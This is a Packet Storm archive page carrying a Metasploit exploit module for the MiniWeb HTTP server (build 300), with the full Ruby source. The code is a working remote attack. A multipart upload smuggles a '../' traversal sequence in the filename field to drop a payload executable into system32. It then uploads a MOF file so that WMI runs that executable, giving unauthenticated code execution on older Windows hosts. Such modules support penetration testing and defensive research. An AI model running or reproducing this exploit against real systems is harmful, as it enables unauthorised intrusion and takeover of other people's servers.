what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

MiniWeb (Build 300) Arbitrary File Upload

MiniWeb (Build 300) Arbitrary File Upload
Posted Aug 14, 2013
Authored by Akastep, Brendan Coles | Site metasploit.com

This Metasploit module exploits a vulnerability in MiniWeb HTTP server (build 300). The software contains a file upload vulnerability that allows an unauthenticated remote attacker to write arbitrary files to the file system. Code execution can be achieved by first uploading the payload to the remote machine as an exe file, and then upload another mof file, which enables WMI (Management Instrumentation service) to execute the uploaded payload. Please note that this module currently only works for Windows before Vista.

tags | exploit, remote, web, arbitrary, code execution, file upload
systems | windows
advisories | OSVDB-92198, OSVDB-92200
SHA-256 | b4d11d94bdfda21fed51296f5789bea65f23c1f03f5b7bd525895268f5a560b0

MiniWeb (Build 300) Arbitrary File Upload

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

HttpFingerprint = { :pattern => [ /MiniWeb/ ] }

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::WbemExec
include Msf::Exploit::FileDropper

def initialize(info={})
super(update_info(info,
'Name' => "MiniWeb (Build 300) Arbitrary File Upload",
'Description' => %q{
This module exploits a vulnerability in MiniWeb HTTP server (build 300).
The software contains a file upload vulnerability that allows an
unauthenticated remote attacker to write arbitrary files to the file system.

Code execution can be achieved by first uploading the payload to the remote
machine as an exe file, and then upload another mof file, which enables
WMI (Management Instrumentation service) to execute the uploaded payload.
Please note that this module currently only works for Windows before Vista.
},
'License' => MSF_LICENSE,
'Author' =>
[
'AkaStep', # Initial discovery
'Brendan Coles <bcoles[at]gmail.com>', # Metasploit
],
'References' =>
[
['OSVDB', '92198'],
['OSVDB', '92200'],
['URL', 'http://dl.packetstormsecurity.net/1304-exploits/miniweb-shelltraversal.txt']
],
'Payload' =>
{
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
# Tested on MiniWeb build 300, built on Feb 28 2013
# - Windows XP SP3 (EN)
['MiniWeb build 300 on Windows (Before Vista)', {}]
],
'Privileged' => true,
'DisclosureDate' => "Apr 9 2013",
'DefaultTarget' => 0))

register_options([
Opt::RPORT(8000),
OptInt.new('DEPTH', [true, 'Traversal depth', 10])
], self.class)

end

def peer
"#{rhost}:#{rport}"
end

def check

begin
uri = normalize_uri(target_uri.path.to_s, "#{rand_text_alpha(rand(10)+5)}")
res = send_request_cgi({
'method' => 'GET',
'uri' => uri
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
fail_with(Exploit::Failure::Unreachable, "#{peer} - Connection failed")
end

if !res or res.headers['Server'].empty?
return Exploit::CheckCode::Unknown
elsif res.headers['Server'] =~ /^MiniWeb$/
return Exploit::CheckCode::Detected
end

return Exploit::CheckCode::Unknown

end

def upload(filename, filedata)

print_status("#{peer} - Trying to upload '#{::File.basename(filename)}'")
uri = normalize_uri(target_uri.path.to_s, "#{rand_text_alpha(rand(10)+5)}")
depth = "../" * (datastore['DEPTH'] + rand(10))

boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(10)}"
post_data = "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"file\"; filename=\"#{depth}#{filename}\"\r\n"
post_data << "Content-Type: application/octet-stream\r\n"
post_data << "\r\n#{filedata}\r\n"
post_data << "--#{boundary}\r\n"

begin
res = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => post_data
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
fail_with(Exploit::Failure::Unreachable, "#{peer} - Connection failed")
end

return res

end

def exploit
fname = "#{rand_text_alpha(rand(10)+5)}"

# upload exe
exe_name = "WINDOWS/system32/#{fname}.exe"
exe = generate_payload_exe
print_status("#{peer} - Sending executable (#{exe.length.to_s} bytes)")
upload(exe_name, exe)

# upload mof
mof_name = "WINDOWS/system32/wbem/mof/#{fname}.mof"
mof = generate_mof(::File.basename(mof_name), ::File.basename(exe_name))
print_status("#{peer} - Sending MOF (#{mof.length.to_s} bytes)")
upload(mof_name, mof)

# list files to clean up
register_file_for_cleanup("#{::File.basename(exe_name)}")
register_file_for_cleanup("wbem\\mof\\good\\#{::File.basename(mof_name)}")
end

end
Login or Register to add favorites

File Archive:

December 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    11 Files
  • 2
    Dec 2nd
    0 Files
  • 3
    Dec 3rd
    0 Files
  • 4
    Dec 4th
    32 Files
  • 5
    Dec 5th
    10 Files
  • 6
    Dec 6th
    14 Files
  • 7
    Dec 7th
    24 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close